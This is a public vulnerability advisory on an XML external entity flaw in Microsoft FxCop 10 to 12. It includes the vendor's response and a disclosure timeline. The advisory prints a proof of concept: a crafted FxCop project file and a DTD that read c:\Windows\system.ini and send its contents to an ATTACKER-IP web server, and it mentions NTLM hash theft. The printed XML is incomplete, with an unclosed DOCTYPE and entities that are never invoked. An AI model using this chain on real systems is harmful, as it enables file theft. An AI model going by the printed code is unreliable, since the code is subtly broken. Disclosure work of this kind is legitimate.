Microsoft Windows FxCop 12 XXE Injection

Microsoft FxCop versions 10 through 12 are vulnerable to XML injection attacks allowing local file ex-filtration and or NTLM hash theft. Tested in Windows 7 and Windows 10 download SDK it works in both.

MD5 | e4970e9fdb7dbc2ea52471b6d0a8c531

[+] Credits: hyp3rlinx  
[+] Website:
[+] Source:
[+] ISR: Apparition Security

***Greetz: indoushka|Eduardo|Dirty0tis***


Microsoft Windows "FxCop" v10-12

Vulnerability Type:
XML External Entity

CVE Reference:

Security Issue:
FxCop is vulnerable to XML injection attacks allowing local file exfiltration and or NTLM hash theft. Tested in Windows 7 and Windows 10 download SDK it works in both.
If you have the the particular SDK in question it is probably there but needs to be installed as it was for me.

MSRC Response:
"Weve determined that the issue was fixed in FxCop 14.0, but that it repros in versions earlier than that (e.g. 10.0 -12.0 as far as SDKs are concerned, with version 13.0 skipped).
We have confirmation that the SDKs for Win8+ dont ship FxCop
We are going to pull Win7 SDKs containing v10-v12 of FxCop. Dissecting SDKs and replacing the tool in situ is fraught with peril, and chaining in a later FxCop to run
after an SDKs install (if even feasible) would just draw attention to the problem.
Visual Studio (specifically, C++) ships a trimmed-down version of the Windows 7 SDK, but it does not include FxCop, and so is unaffected.

In summary, newer versions of FxCop are unaffected and we will pull afflicted versions from availability."

1) python -m SimpleHTTPServer

2) "POC.FxCop"

<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "c:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8000/payload.dtd">
<FxCopProject Version="1.36" Name="My FxCop Project">&send;</FxCopProject>

3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8000?%file;'>">

4) Import or Open "POC.FxCop" file in FxCop

Files get exfiltrated to attacker server.

Network Access:


Disclosure Timeline:
Vendor Notification: March 15, 2018
Vendor opens MSRC Case 44322?: March 16, 2018
Vendor reproduces issue : April 6, 2018
Vendor decides to pull all download links instead of advisory or fix : April 9, 2018
May 9, 2018 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


Related Posts